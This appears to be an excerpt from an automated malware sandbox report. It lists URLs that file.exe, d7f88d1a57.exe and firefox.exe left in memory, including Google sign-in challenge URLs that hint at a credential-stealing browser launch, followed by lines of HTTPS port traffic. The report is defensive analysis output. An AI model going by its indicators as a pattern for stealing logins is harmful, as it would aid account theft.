Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000030.00000002.2671104200.000001B47115E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://browser/content/browser-fullScreenAndPoi
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000030.00000002.2671104200.000001B471150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1645158000.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363716541.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386282600.0000000005729000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363349229.00000000056F9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056F6000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612856527.0000000005718000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2612484646.0000000005720000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.0000000005706000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2556773800.0000000005709000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2558017103.0000000005706000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/resource://gre/modules/Timer.sys.mjsmozIGeckoMediaPluginChro
Source: firefox.exe, 00000030.00000002.2656094447.000001B470324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573129546.000001B473C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2573741035.000001B473C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000003.2571185867.000001B473A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2689247042.000001B473770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000003.2572216672.000001B473C3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2425234299.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2649771173.000001B46F8AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000030.00000002.2654327393.000001B4702BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748712412.000038EC2FD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B47113C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: d7f88d1a57.exe, 0000001F.00000003.2652986745.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: d7f88d1a57.exe, 0000001F.00000003.2652986745.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: d7f88d1a57.exe, 0000001F.00000003.2652986745.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000030.00000002.2649771173.000001B46F85F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.1849603817.0000000023B43000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2423644372.00000000057E9000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2652986745.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000030.00000002.2637465448.000000151903C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000030.00000002.2691144471.000001B473A6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2748174410.0000340A8B800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2729171545.000001B47743F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000030.00000002.2671104200.000001B47115E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2651661819.000001B46F9BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000030.00000002.2684816649.000001B472642000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2671104200.000001B471176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000030.00000002.2748174410.0000340A8B800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000030.00000002.2748174410.0000340A8B800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caZ
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000030.00000002.2656094447.000001B470303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/Error
Source: firefox.exe, 00000030.00000002.2671104200.000001B471103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2684816649.000001B472626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000030.00000002.2671104200.000001B47115E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2739571253.00000E0B90700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000030.00000002.2731298182.000001B4777F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2720067599.000001B47617E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000030.00000002.2644239902.000001B464011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000030.00000002.2644239902.000001B46405D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd(
Source: firefox.exe, 0000002E.00000002.2542913057.000001B218F99000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2561809421.000001FA8251F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2643592840.000001B463D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000030.00000002.2646442627.000001B4659C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdgetElevationRequired
Source: firefox.exe, 00000030.00000002.2715755487.000001B475B1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://youtube.com/
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdor
Source: firefox.exe, 00000031.00000002.2639708194.000001EE3E400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.coy
Source: firefox.exe, 00000030.00000002.2656094447.000001B4703E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comLOAD_FLAGS_USER_ACTIVATIONget
Source: firefox.exe, 00000030.00000002.2739571253.00000E0B90700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
